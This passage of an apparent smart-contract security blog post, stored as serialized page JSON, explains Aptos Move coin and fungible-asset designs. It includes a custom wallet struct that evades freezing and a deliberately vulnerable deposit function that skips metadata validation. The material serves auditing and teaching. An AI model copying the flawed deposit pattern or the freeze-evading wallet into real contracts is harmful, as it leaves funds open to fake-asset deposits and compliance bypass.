",{"type":25,"tag":264,"props":74226,"children":74228},{"className":74227},[],[74229],{"type":30,"value":74082},{"type":30,"value":74231}," has only the ",{"type":25,"tag":264,"props":74233,"children":74235},{"className":74234},[],[74236],{"type":30,"value":19072},{"type":30,"value":74238}," ability and uses a ",{"type":25,"tag":264,"props":74240,"children":74242},{"className":74241},[],[74243],{"type":30,"value":74244},"CoinStore",{"type":30,"value":74246}," wrapper to store the coin and metadata:",{"type":25,"tag":7764,"props":74248,"children":74250},{"className":13586,"code":74249,"language":13585,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[74251],{"type":25,"tag":264,"props":74252,"children":74253},{"__ignoreMap":7},[74254,74294,74322,74342,74372,74401],{"type":25,"tag":271,"props":74255,"children":74256},{"class":13593,"line":13594},[74257,74261,74266,74270,74274,74278,74282,74286,74290],{"type":25,"tag":271,"props":74258,"children":74259},{"style":14289},[74260],{"type":30,"value":22524},{"type":25,"tag":271,"props":74262,"children":74263},{"style":13609},[74264],{"type":30,"value":74265}," CoinStore",{"type":25,"tag":271,"props":74267,"children":74268},{"style":13625},[74269],{"type":30,"value":14307},{"type":25,"tag":271,"props":74271,"children":74272},{"style":13598},[74273],{"type":30,"value":18942},{"type":25,"tag":271,"props":74275,"children":74276},{"style":13609},[74277],{"type":30,"value":18947},{"type":25,"tag":271,"props":74279,"children":74280},{"style":13625},[74281],{"type":30,"value":18952},{"type":25,"tag":271,"props":74283,"children":74284},{"style":13598},[74285],{"type":30,"value":18957},{"type":25,"tag":271,"props":74287,"children":74288},{"style":13598},[74289],{"type":30,"value":19063},{"type":25,"tag":271,"props":74291,"children":74292},{"style":13625},[74293],{"type":30,"value":16431},{"type":25,"tag":271,"props":74295,"children":74296},{"class":13593,"line":11641},[74297,74302,74306,74310,74314,74318],{"type":25,"tag":271,"props":74298,"children":74299},{"style":13598},[74300],{"type":30,"value":74301},"    coin",{"type":25,"tag":271,"props":74303,"children":74304},{"style":13603},[74305],{"type":30,"value":359},{"type":25,"tag":271,"props":74307,"children":74308},{"style":13609},[74309],{"type":30,"value":18933},{"type":25,"tag":271,"props":74311,"children":74312},{"style":13625},[74313],{"type":30,"value":14307},{"type":25,"tag":271,"props":74315,"children":74316},{"style":13609},[74317],{"type":30,"value":19709},{"type":25,"tag":271,"props":74319,"children":74320},{"style":13625},[74321],{"type":30,"value":19267},{"type":25,"tag":271,"props":74323,"children":74324},{"class":13593,"line":14354},[74325,74330,74334,74338],{"type":25,"tag":271,"props":74326,"children":74327},{"style":13598},[74328],{"type":30,"value":74329},"    frozen",{"type":25,"tag":271,"props":74331,"children":74332},{"style":13603},[74333],{"type":30,"value":359},{"type":25,"tag":271,"props":74335,"children":74336},{"style":13609},[74337],{"type":30,"value":25175},{"type":25,"tag":271,"props":74339,"children":74340},{"style":13625},[74341],{"type":30,"value":14351},{"type":25,"tag":271,"props":74343,"children":74344},{"class":13593,"line":14391},[74345,74350,74354,74359,74363,74368],{"type":25,"tag":271,"props":74346,"children":74347},{"style":13598},[74348],{"type":30,"value":74349},"    deposit_events",{"type":25,"tag":271,"props":74351,"children":74352},{"style":13603},[74353],{"type":30,"value":359},{"type":25,"tag":271,"props":74355,"children":74356},{"style":13609},[74357],{"type":30,"value":74358}," EventHandle",{"type":25,"tag":271,"props":74360,"children":74361},{"style":13625},[74362],{"type":30,"value":14307},{"type":25,"tag":271,"props":74364,"children":74365},{"style":13609},[74366],{"type":30,"value":74367},"DepositEvent",{"type":25,"tag":271,"props":74369,"children":74370},{"style":13625},[74371],{"type":30,"value":19267},{"type":25,"tag":271,"props":74373,"children":74374},{"class":13593,"line":14400},[74375,74380,74384,74388,74392,74397],{"type":25,"tag":271,"props":74376,"children":74377},{"style":13598},[74378],{"type":30,"value":74379},"    withdraw_events",{"type":25,"tag":271,"props":74381,"children":74382},{"style":13603},[74383],{"type":30,"value":359},{"type":25,"tag":271,"props":74385,"children":74386},{"style":13609},[74387],{"type":30,"value":74358},{"type":25,"tag":271,"props":74389,"children":74390},{"style":13625},[74391],{"type":30,"value":14307},{"type":25,"tag":271,"props":74393,"children":74394},{"style":13609},[74395],{"type":30,"value":74396},"WithdrawEvent",{"type":25,"tag":271,"props":74398,"children":74399},{"style":13625},[74400],{"type":30,"value":19267},{"type":25,"tag":271,"props":74402,"children":74403},{"class":13593,"line":16406},[74404],{"type":25,"tag":271,"props":74405,"children":74406},{"style":13625},[74407],{"type":30,"value":17058},{"type":25,"tag":26,"props":74409,"children":74410},{},[74411,74413,74418,74420,74425],{"type":30,"value":74412},"However, an astute reader would note that this isn't the only place a ",{"type":25,"tag":264,"props":74414,"children":74416},{"className":74415},[],[74417],{"type":30,"value":74082},{"type":30,"value":74419}," can be stored. You can create your own ",{"type":25,"tag":264,"props":74421,"children":74423},{"className":74422},[],[74424],{"type":30,"value":74082},{"type":30,"value":74426}," wallet, which could look like this:",{"type":25,"tag":7764,"props":74428,"children":74430},{"className":13586,"code":74429,"language":13585,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[74431],{"type":25,"tag":264,"props":74432,"children":74433},{"__ignoreMap":7},[74434,74474,74501],{"type":25,"tag":271,"props":74435,"children":74436},{"class":13593,"line":13594},[74437,74441,74446,74450,74454,74458,74462,74466,74470],{"type":25,"tag":271,"props":74438,"children":74439},{"style":14289},[74440],{"type":30,"value":22524},{"type":25,"tag":271,"props":74442,"children":74443},{"style":13609},[74444],{"type":30,"value":74445}," DefinitelyLegitCoinStore",{"type":25,"tag":271,"props":74447,"children":74448},{"style":13625},[74449],{"type":30,"value":14307},{"type":25,"tag":271,"props":74451,"children":74452},{"style":13598},[74453],{"type":30,"value":18942},{"type":25,"tag":271,"props":74455,"children":74456},{"style":13609},[74457],{"type":30,"value":18947},{"type":25,"tag":271,"props":74459,"children":74460},{"style":13625},[74461],{"type":30,"value":18952},{"type":25,"tag":271,"props":74463,"children":74464},{"style":13598},[74465],{"type":30,"value":18957},{"type":25,"tag":271,"props":74467,"children":74468},{"style":13598},[74469],{"type":30,"value":19063},{"type":25,"tag":271,"props":74471,"children":74472},{"style":13625},[74473],{"type":30,"value":16431},{"type":25,"tag":271,"props":74475,"children":74476},{"class":13593,"line":11641},[74477,74481,74485,74489,74493,74497],{"type":25,"tag":271,"props":74478,"children":74479},{"style":13598},[74480],{"type":30,"value":74301},{"type":25,"tag":271,"props":74482,"children":74483},{"style":13603},[74484],{"type":30,"value":359},{"type":25,"tag":271,"props":74486,"children":74487},{"style":13609},[74488],{"type":30,"value":18933},{"type":25,"tag":271,"props":74490,"children":74491},{"style":13625},[74492],{"type":30,"value":14307},{"type":25,"tag":271,"props":74494,"children":74495},{"style":13609},[74496],{"type":30,"value":19709},{"type":25,"tag":271,"props":74498,"children":74499},{"style":13625},[74500],{"type":30,"value":14448},{"type":25,"tag":271,"props":74502,"children":74503},{"class":13593,"line":14354},[74504],{"type":25,"tag":271,"props":74505,"children":74506},{"style":13625},[74507],{"type":30,"value":17058},{"type":25,"tag":26,"props":74509,"children":74510},{},[74511,74516,74518,74524,74526,74531,74533,74539,74541,74546],{"type":25,"tag":264,"props":74512,"children":74514},{"className":74513},[],[74515],{"type":30,"value":74244},{"type":30,"value":74517}," includes a ",{"type":25,"tag":264,"props":74519,"children":74521},{"className":74520},[],[74522],{"type":30,"value":74523},"frozen",{"type":30,"value":74525}," field, allowing the issuer to block transfers to and from the store. ",{"type":25,"tag":264,"props":74527,"children":74529},{"className":74528},[],[74530],{"type":30,"value":74244},{"type":30,"value":74532}," is also required for a ",{"type":25,"tag":264,"props":74534,"children":74536},{"className":74535},[],[74537],{"type":30,"value":74538},"burn_from",{"type":30,"value":74540}," operation, which withdraws the ",{"type":25,"tag":264,"props":74542,"children":74544},{"className":74543},[],[74545],{"type":30,"value":74049},{"type":30,"value":74547}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":25,"tag":26,"props":74549,"children":74550},{},[74551,74553,74558,74560,74567,74569,74574],{"type":30,"value":74552},"Storing ",{"type":25,"tag":264,"props":74554,"children":74556},{"className":74555},[],[74557],{"type":30,"value":74049},{"type":30,"value":74559}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":25,"tag":83,"props":74561,"children":74564},{"href":74562,"rel":74563},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[9066],[74565],{"type":30,"value":74566},"AIP-21",{"type":30,"value":74568}," summarizes the ",{"type":25,"tag":264,"props":74570,"children":74572},{"className":74571},[],[74573],{"type":30,"value":74049},{"type":30,"value":74575}," problems:",{"type":25,"tag":16074,"props":74577,"children":74578},{},[74579,74588],{"type":25,"tag":26,"props":74580,"children":74581},{},[74582,74586],{"type":25,"tag":271,"props":74583,"children":74584},{},[74585],{"type":30,"value":22714},{"type":30,"value":74587}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":25,"tag":26,"props":74589,"children":74590},{},[74591],{"type":30,"value":74592},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":25,"tag":26,"props":74594,"children":74595},{},[74596],{"type":30,"value":74597},"And declares, that:",{"type":25,"tag":16074,"props":74599,"children":74600},{},[74601],{"type":25,"tag":26,"props":74602,"children":74603},{},[74604],{"type":30,"value":74605},"Fungible assets addresses these issues.",{"type":25,"tag":26,"props":74607,"children":74608},{},[74609],{"type":30,"value":74610},"Let's find out whether this is indeed the case.",{"type":25,"tag":96,"props":74612,"children":74614},{"id":74613},"the-fungible-assets",[74615],{"type":30,"value":74616},"The fungible assets",{"type":25,"tag":26,"props":74618,"children":74619},{},[74620,74622,74628,74630,74637],{"type":30,"value":74621},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":25,"tag":264,"props":74623,"children":74625},{"className":74624},[],[74626],{"type":30,"value":74627},"FungibleAsset",{"type":30,"value":74629}," uses the ",{"type":25,"tag":83,"props":74631,"children":74634},{"href":74632,"rel":74633},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[9066],[74635],{"type":30,"value":74636},"hot-potato pattern",{"type":30,"value":359},{"type":25,"tag":7764,"props":74639,"children":74641},{"className":13586,"code":74640,"language":13585,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[74642],{"type":25,"tag":264,"props":74643,"children":74644},{"__ignoreMap":7},[74645,74661,74691,74711],{"type":25,"tag":271,"props":74646,"children":74647},{"class":13593,"line":13594},[74648,74652,74657],{"type":25,"tag":271,"props":74649,"children":74650},{"style":14289},[74651],{"type":30,"value":22524},{"type":25,"tag":271,"props":74653,"children":74654},{"style":13609},[74655],{"type":30,"value":74656}," FungibleAsset",{"type":25,"tag":271,"props":74658,"children":74659},{"style":13625},[74660],{"type":30,"value":16431},{"type":25,"tag":271,"props":74662,"children":74663},{"class":13593,"line":11641},[74664,74669,74673,74678,74682,74687],{"type":25,"tag":271,"props":74665,"children":74666},{"style":13598},[74667],{"type":30,"value":74668},"    metadata",{"type":25,"tag":271,"props":74670,"children":74671},{"style":13603},[74672],{"type":30,"value":359},{"type":25,"tag":271,"props":74674,"children":74675},{"style":13609},[74676],{"type":30,"value":74677}," Object",{"type":25,"tag":271,"props":74679,"children":74680},{"style":13625},[74681],{"type":30,"value":14307},{"type":25,"tag":271,"props":74683,"children":74684},{"style":13609},[74685],{"type":30,"value":74686},"Metadata",{"type":25,"tag":271,"props":74688,"children":74689},{"style":13625},[74690],{"type":30,"value":19267},{"type":25,"tag":271,"props":74692,"children":74693},{"class":13593,"line":14354},[74694,74699,74703,74707],{"type":25,"tag":271,"props":74695,"children":74696},{"style":13598},[74697],{"type":30,"value":74698},"    amount",{"type":25,"tag":271,"props":74700,"children":74701},{"style":13603},[74702],{"type":30,"value":359},{"type":25,"tag":271,"props":74704,"children":74705},{"style":13609},[74706],{"type":30,"value":18991},{"type":25,"tag":271,"props":74708,"children":74709},{"style":13625},[74710],{"type":30,"value":14351},{"type":25,"tag":271,"props":74712,"children":74713},{"class":13593,"line":14391},[74714],{"type":25,"tag":271,"props":74715,"children":74716},{"style":13625},[74717],{"type":30,"value":17058},{"type":25,"tag":26,"props":74719,"children":74720},{},[74721,74723,74728,74729,74734,74736,74741,74743,74750],{"type":30,"value":74722},"Unlike ",{"type":25,"tag":264,"props":74724,"children":74726},{"className":74725},[],[74727],{"type":30,"value":74082},{"type":30,"value":44},{"type":25,"tag":264,"props":74730,"children":74732},{"className":74731},[],[74733],{"type":30,"value":74627},{"type":30,"value":74735}," types are defined at runtime through the ",{"type":25,"tag":264,"props":74737,"children":74739},{"className":74738},[],[74740],{"type":30,"value":74686},{"type":30,"value":74742}," field. This change was meant to ",{"type":25,"tag":83,"props":74744,"children":74747},{"href":74745,"rel":74746},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[9066],[74748],{"type":30,"value":74749},"enhance extensibility",{"type":30,"value":359},{"type":25,"tag":16074,"props":74752,"children":74753},{},[74754],{"type":25,"tag":26,"props":74755,"children":74756},{},[74757],{"type":30,"value":74758},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":25,"tag":26,"props":74760,"children":74761},{},[74762,74764,74770],{"type":30,"value":74763},"An important implication is that functions accepting ",{"type":25,"tag":264,"props":74765,"children":74767},{"className":74766},[],[74768],{"type":30,"value":74769},"FungibleAssets",{"type":30,"value":74771}," must verify the metadata to ensure valid assets.",{"type":25,"tag":26,"props":74773,"children":74774},{},[74775],{"type":30,"value":74776},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":25,"tag":7764,"props":74778,"children":74780},{"className":13586,"code":74779,"language":13585,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[74781],{"type":25,"tag":264,"props":74782,"children":74783},{"__ignoreMap":7},[74784,74820,74858,74882,74894,74902,74947,74981,75011,75018,75055,75062,75100,75107,75152],{"type":25,"tag":271,"props":74785,"children":74786},{"class":13593,"line":13594},[74787,74791,74795,74800,74804,74808,74812,74816],{"type":25,"tag":271,"props":74788,"children":74789},{"style":13598},[74790],{"type":30,"value":10331},{"type":25,"tag":271,"props":74792,"children":74793},{"style":13598},[74794],{"type":30,"value":19335},{"type":25,"tag":271,"props":74796,"children":74797},{"style":13598},[74798],{"type":30,"value":74799}," deposit",{"type":25,"tag":271,"props":74801,"children":74802},{"style":13625},[74803],{"type":30,"value":14307},{"type":25,"tag":271,"props":74805,"children":74806},{"style":13609},[74807],{"type":30,"value":301},{"type":25,"tag":271,"props":74809,"children":74810},{"style":13603},[74811],{"type":30,"value":359},{"type":25,"tag":271,"props":74813,"children":74814},{"style":13598},[74815],{"type":30,"value":19063},{"type":25,"tag":271,"props":74817,"children":74818},{"style":13625},[74819],{"type":30,"value":14324},{"type":25,"tag":271,"props":74821,"children":74822},{"class":13593,"line":11641},[74823,74828,74832,74836,74840,74844,74849,74853],{"type":25,"tag":271,"props":74824,"children":74825},{"style":13598},[74826],{"type":30,"value":74827},"    sender",{"type":25,"tag":271,"props":74829,"children":74830},{"style":13603},[74831],{"type":30,"value":359},{"type":25,"tag":271,"props":74833,"children":74834},{"style":13603},[74835],{"type":30,"value":14341},{"type":25,"tag":271,"props":74837,"children":74838},{"style":13598},[74839],{"type":30,"value":20269},{"type":25,"tag":271,"props":74841,"children":74842},{"style":13625},[74843],{"type":30,"value":44},{"type":25,"tag":271,"props":74845,"children":74846},{"style":13598},[74847],{"type":30,"value":74848},"fa",{"type":25,"tag":271,"props":74850,"children":74851},{"style":13603},[74852],{"type":30,"value":359},{"type":25,"tag":271,"props":74854,"children":74855},{"style":13609},[74856],{"type":30,"value":74857}," FungibleAsset\n",{"type":25,"tag":271,"props":74859,"children":74860},{"class":13593,"line":14354},[74861,74865,74869,74873,74877],{"type":25,"tag":271,"props":74862,"children":74863},{"style":13625},[74864],{"type":30,"value":14406},{"type":25,"tag":271,"props":74866,"children":74867},{"style":13598},[74868],{"type":30,"value":19472},{"type":25,"tag":271,"props":74870,"children":74871},{"style":13625},[74872],{"type":30,"value":36132},{"type":25,"tag":271,"props":74874,"children":74875},{"style":13603},[74876],{"type":30,"value":22714},{"type":25,"tag":271,"props":74878,"children":74879},{"style":13625},[74880],{"type":30,"value":74881},"] {\n",{"type":25,"tag":271,"props":74883,"children":74884},{"class":13593,"line":14391},[74885,74890],{"type":25,"tag":271,"props":74886,"children":74887},{"style":13620},[74888],{"type":30,"value":74889},"    assert_not_paused",{"type":25,"tag":271,"props":74891,"children":74892},{"style":13625},[74893],{"type":30,"value":16820},{"type":25,"tag":271,"props":74895,"children":74896},{"class":13593,"line":14400},[74897],{"type":25,"tag":271,"props":74898,"children":74899},{"style":13625},[74900],{"type":30,"value":74901},"    \n",{"type":25,"tag":271,"props":74903,"children":74904},{"class":13593,"line":16406},[74905,74909,74914,74918,74923,74927,74931,74935,74939,74943],{"type":25,"tag":271,"props":74906,"children":74907},{"style":14289},[74908],{"type":30,"value":16140},{"type":25,"tag":271,"props":74910,"children":74911},{"style":13598},[74912],{"type":30,"value":74913}," fa_amount",{"type":25,"tag":271,"props":74915,"children":74916},{"style":13603},[74917],{"type":30,"value":16155},{"type":25,"tag":271,"props":74919,"children":74920},{"style":13625},[74921],{"type":30,"value":74922}," fungible_asset",{"type":25,"tag":271,"props":74924,"children":74925},{"style":13603},[74926],{"type":30,"value":13617},{"type":25,"tag":271,"props":74928,"children":74929},{"style":13620},[74930],{"type":30,"value":33427},{"type":25,"tag":271,"props":74932,"children":74933},{"style":13625},[74934],{"type":30,"value":394},{"type":25,"tag":271,"props":74936,"children":74937},{"style":13603},[74938],{"type":30,"value":13632},{"type":25,"tag":271,"props":74940,"children":74941},{"style":13598},[74942],{"type":30,"value":74848},{"type":25,"tag":271,"props":74944,"children":74945},{"style":13625},[74946],{"type":30,"value":13665},{"type":25,"tag":271,"props":74948,"children":74949},{"class":13593,"line":16434},[74950,74954,74959,74963,74968,74972,74977],{"type":25,"tag":271,"props":74951,"children":74952},{"style":14289},[74953],{"type":30,"value":16140},{"type":25,"tag":271,"props":74955,"children":74956},{"style":13598},[74957],{"type":30,"value":74958}," sender_address",{"type":25,"tag":271,"props":74960,"children":74961},{"style":13603},[74962],{"type":30,"value":16155},{"type":25,"tag":271,"props":74964,"children":74965},{"style":13620},[74966],{"type":30,"value":74967}," address_of",{"type":25,"tag":271,"props":74969,"children":74970},{"style":13625},[74971],{"type":30,"value":394},{"type":25,"tag":271,"props":74973,"children":74974},{"style":13598},[74975],{"type":30,"value":74976},"sender",{"type":25,"tag":271,"props":74978,"children":74979},{"style":13625},[74980],{"type":30,"value":13665},{"type":25,"tag":271,"props":74982,"children":74983},{"class":13593,"line":16447},[74984,74989,74993,74998,75002,75007],{"type":25,"tag":271,"props":74985,"children":74986},{"style":13620},[74987],{"type":30,"value":74988},"    check_compliance",{"type":25,"tag":271,"props":74990,"children":74991},{"style":13625},[74992],{"type":30,"value":394},{"type":25,"tag":271,"props":74994,"children":74995},{"style":13598},[74996],{"type":30,"value":74997},"fa_amount",{"type":25,"tag":271,"props":74999,"children":75000},{"style":13625},[75001],{"type":30,"value":44},{"type":25,"tag":271,"props":75003,"children":75004},{"style":13598},[75005],{"type":30,"value":75006},"sender_address",{"type":25,"tag":271,"props":75008,"children":75009},{"style":13625},[75010],{"type":30,"value":13665},{"type":25,"tag":271,"props":75012,"children":75013},{"class":13593,"line":16465},[75014],{"type":25,"tag":271,"props":75015,"children":75016},{"style":13625},[75017],{"type":30,"value":74901},{"type":25,"tag":271,"props":75019,"children":75020},{"class":13593,"line":16486},[75021,75026,75030,75035,75039,75043,75047,75051],{"type":25,"tag":271,"props":75022,"children":75023},{"style":13620},[75024],{"type":30,"value":75025},"    increase_deposit",{"type":25,"tag":271,"props":75027,"children":75028},{"style":13625},[75029],{"type":30,"value":394},{"type":25,"tag":271,"props":75031,"children":75032},{"style":13620},[75033],{"type":30,"value":75034},"get_vault",{"type":25,"tag":271,"props":75036,"children":75037},{"style":13625},[75038],{"type":30,"value":394},{"type":25,"tag":271,"props":75040,"children":75041},{"style":13598},[75042],{"type":30,"value":75006},{"type":25,"tag":271,"props":75044,"children":75045},{"style":13625},[75046],{"type":30,"value":28299},{"type":25,"tag":271,"props":75048,"children":75049},{"style":13598},[75050],{"type":30,"value":74997},{"type":25,"tag":271,"props":75052,"children":75053},{"style":13625},[75054],{"type":30,"value":13665},{"type":25,"tag":271,"props":75056,"children":75057},{"class":13593,"line":16495},[75058],{"type":25,"tag":271,"props":75059,"children":75060},{"style":13625},[75061],{"type":30,"value":74901},{"type":25,"tag":271,"props":75063,"children":75064},{"class":13593,"line":16744},[75065,75070,75074,75079,75083,75088,75092,75096],{"type":25,"tag":271,"props":75066,"children":75067},{"style":13625},[75068],{"type":30,"value":75069},"    primary_fungible_store",{"type":25,"tag":271,"props":75071,"children":75072},{"style":13603},[75073],{"type":30,"value":13617},{"type":25,"tag":271,"props":75075,"children":75076},{"style":13620},[75077],{"type":30,"value":75078},"deposit",{"type":25,"tag":271,"props":75080,"children":75081},{"style":13625},[75082],{"type":30,"value":394},{"type":25,"tag":271,"props":75084,"children":75085},{"style":13620},[75086],{"type":30,"value":75087},"global_vault_address",{"type":25,"tag":271,"props":75089,"children":75090},{"style":13625},[75091],{"type":30,"value":31497},{"type":25,"tag":271,"props":75093,"children":75094},{"style":13598},[75095],{"type":30,"value":74848},{"type":25,"tag":271,"props":75097,"children":75098},{"style":13625},[75099],{"type":30,"value":13665},{"type":25,"tag":271,"props":75101,"children":75102},{"class":13593,"line":16761},[75103],{"type":25,"tag":271,"props":75104,"children":75105},{"style":13625},[75106],{"type":30,"value":74901},{"type":25,"tag":271,"props":75108,"children":75109},{"class":13593,"line":16778},[75110,75115,75119,75123,75127,75132,75136,75140,75144,75148],{"type":25,"tag":271,"props":75111,"children":75112},{"style":13625},[75113],{"type":30,"value":75114},"    event",{"type":25,"tag":271,"props":75116,"children":75117},{"style":13603},[75118],{"type":30,"value":13617},{"type":25,"tag":271,"props":75120,"children":75121},{"style":13620},[75122],{"type":30,"value":6647},{"type":25,"tag":271,"props":75124,"children":75125},{"style":13625},[75126],{"type":30,"value":394},{"type":25,"tag":271,"props":75128,"children":75129},{"style":13609},[75130],{"type":30,"value":75131},"Deposit",{"type":25,"tag":271,"props":75133,"children":75134},{"style":13625},[75135],{"type":30,"value":58333},{"type":25,"tag":271,"props":75137,"children":75138},{"style":13598},[75139],{"type":30,"value":75006},{"type":25,"tag":271,"props":75141,"children":75142},{"style":13625},[75143],{"type":30,"value":44},{"type":25,"tag":271,"props":75145,"children":75146},{"style":13598},[75147],{"type":30,"value":74997},{"type":25,"tag":271,"props":75149,"children":75150},{"style":13625},[75151],{"type":30,"value":46135},{"type":25,"tag":271,"props":75153,"children":75154},{"class":13593,"line":16791},[75155],{"type":25,"tag":271,"props":75156,"children":75157},{"style":13625},[75158],{"type":30,"value":17058},{"type":25,"tag":26,"props":75160,"children":75161},{},[75162],{"type":30,"value":75163},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":25,"tag":26,"props":75165,"children":75166},{},[75167],{"type":30,"value":75168},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":25,"tag":96,"props":75170,"children":75172},{"id":75171},"fungible-stores",[75173],{"type":30,"value":75174},"Fungible stores",{"type":25,"tag":26,"props":75176,"children":75177},{},[75178],{"type":30,"value":75179},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":25,"tag":26,"props":75181,"children":75182},{},[75183,75185,75191],{"type":30,"value":75184},"Meet the ",{"type":25,"tag":264,"props":75186,"children":75188},{"className":75187},[],[75189],{"type":30,"value":75190},"FungibleStore",{"type":30,"value":1860},{"type":25,"tag":7764,"props":75193,"children":75195},{"className":13586,"code":75194,"language":13585,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[75196],{"type":25,"tag":264,"props":75197,"children":75198},{"__ignoreMap":7},[75199,75223,75250,75270,75289],{"type":25,"tag":271,"props":75200,"children":75201},{"class":13593,"line":13594},[75202,75206,75211,75215,75219],{"type":25,"tag":271,"props":75203,"children":75204},{"style":14289},[75205],{"type":30,"value":22524},{"type":25,"tag":271,"props":75207,"children":75208},{"style":13609},[75209],{"type":30,"value":75210}," FungibleStore",{"type":25,"tag":271,"props":75212,"children":75213},{"style":13598},[75214],{"type":30,"value":22533},{"type":25,"tag":271,"props":75216,"children":75217},{"style":13598},[75218],{"type":30,"value":19063},{"type":25,"tag":271,"props":75220,"children":75221},{"style":13625},[75222],{"type":30,"value":16431},{"type":25,"tag":271,"props":75224,"children":75225},{"class":13593,"line":11641},[75226,75230,75234,75238,75242,75246],{"type":25,"tag":271,"props":75227,"children":75228},{"style":13598},[75229],{"type":30,"value":74668},{"type":25,"tag":271,"props":75231,"children":75232},{"style":13603},[75233],{"type":30,"value":359},{"type":25,"tag":271,"props":75235,"children":75236},{"style":13609},[75237],{"type":30,"value":74677},{"type":25,"tag":271,"props":75239,"children":75240},{"style":13625},[75241],{"type":30,"value":14307},{"type":25,"tag":271,"props":75243,"children":75244},{"style":13609},[75245],{"type":30,"value":74686},{"type":25,"tag":271,"props":75247,"children":75248},{"style":13625},[75249],{"type":30,"value":19267},{"type":25,"tag":271,"props":75251,"children":75252},{"class":13593,"line":14354},[75253,75258,75262,75266],{"type":25,"tag":271,"props":75254,"children":75255},{"style":13598},[75256],{"type":30,"value":75257},"    balance",{"type":25,"tag":271,"props":75259,"children":75260},{"style":13603},[75261],{"type":30,"value":359},{"type":25,"tag":271,"props":75263,"children":75264},{"style":13609},[75265],{"type":30,"value":18991},{"type":25,"tag":271,"props":75267,"children":75268},{"style":13625},[75269],{"type":30,"value":14351},{"type":25,"tag":271,"props":75271,"children":75272},{"class":13593,"line":14391},[75273,75277,75281,75285],{"type":25,"tag":271,"props":75274,"children":75275},{"style":13598},[75276],{"type":30,"value":74329},{"type":25,"tag":271,"props":75278,"children":75279},{"style":13603},[75280],{"type":30,"value":359},{"type":25,"tag":271,"props":75282,"children":75283},{"style":13609},[75284],{"type":30,"value":25175},{"type":25,"tag":271,"props":75286,"children":75287},{"style":13625},[75288],{"type":30,"value":14351},{"type":25,"tag":271,"props":75290,"children":75291},{"class":13593,"line":14400},[75292],{"type":25,"tag":271,"props":75293,"children":75294},{"style":13625},[75295],{"type":30,"value":17058},{"type":25,"tag":26,"props":75297,"children":75298},{},[75299,75304,75306,75311,75313,75318,75320,75325,75327,75332],{"type":25,"tag":264,"props":75300,"children":75302},{"className":75301},[],[75303],{"type":30,"value":75190},{"type":30,"value":75305}," manages balances and metadata instead of holding the actual ",{"type":25,"tag":264,"props":75307,"children":75309},{"className":75308},[],[75310],{"type":30,"value":74627},{"type":30,"value":75312}," (it can't because ",{"type":25,"tag":264,"props":75314,"children":75316},{"className":75315},[],[75317],{"type":30,"value":74627},{"type":30,"value":75319}," doesn't have ",{"type":25,"tag":264,"props":75321,"children":75323},{"className":75322},[],[75324],{"type":30,"value":19072},{"type":30,"value":75326},"). Withdrawals create temporary ",{"type":25,"tag":264,"props":75328,"children":75330},{"className":75329},[],[75331],{"type":30,"value":74627},{"type":30,"value":75333}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":25,"tag":92,"props":75335,"children":75336},{},[],{"type":25,"tag":26,"props":75338,"children":75339},{},[75340,75342,75347,75349,75354],{"type":30,"value":75341},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":25,"tag":264,"props":75343,"children":75345},{"className":75344},[],[75346],{"type":30,"value":74627},{"type":30,"value":75348}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":25,"tag":264,"props":75350,"children":75352},{"className":75351},[],[75353],{"type":30,"value":74627},{"type":30,"value":1860},{"type":25,"tag":7764,"props":75356,"children":75358},{"className":13586,"code":75357,"language":13585,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    